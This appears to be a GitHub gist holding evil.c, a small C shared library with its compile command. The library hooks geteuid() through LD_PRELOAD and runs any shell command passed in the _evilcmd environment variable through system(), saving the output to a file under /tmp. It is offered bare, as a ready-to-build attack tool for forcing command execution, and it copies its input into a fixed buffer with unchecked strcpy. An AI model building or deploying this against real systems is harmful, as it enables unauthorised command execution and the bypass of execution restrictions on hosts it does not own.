Skip to content

Instantly share code, notes, and snippets.

@tarunkant
Created January 21, 2019 11:41
Show Gist options
  • Select an option

  • Save tarunkant/d44c29402eef9b6fa399876f6e73b607 to your computer and use it in GitHub Desktop.

Select an option

Save tarunkant/d44c29402eef9b6fa399876f6e73b607 to your computer and use it in GitHub Desktop.

Revisions

  1. tarunkant created this gist Jan 21, 2019.
    22 changes: 22 additions & 0 deletions evil.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,22 @@
    /* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>

    void payload(char *cmd) {
    char buf[512];
    strcpy(buf, cmd);
    strcat(buf, " > /tmp/_0utput.txt");
    system(buf);
    }

    int geteuid() {
    char *cmd;
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    if ((cmd = getenv("_evilcmd")) != NULL) {
    payload(cmd);
    }
    return 1;
    }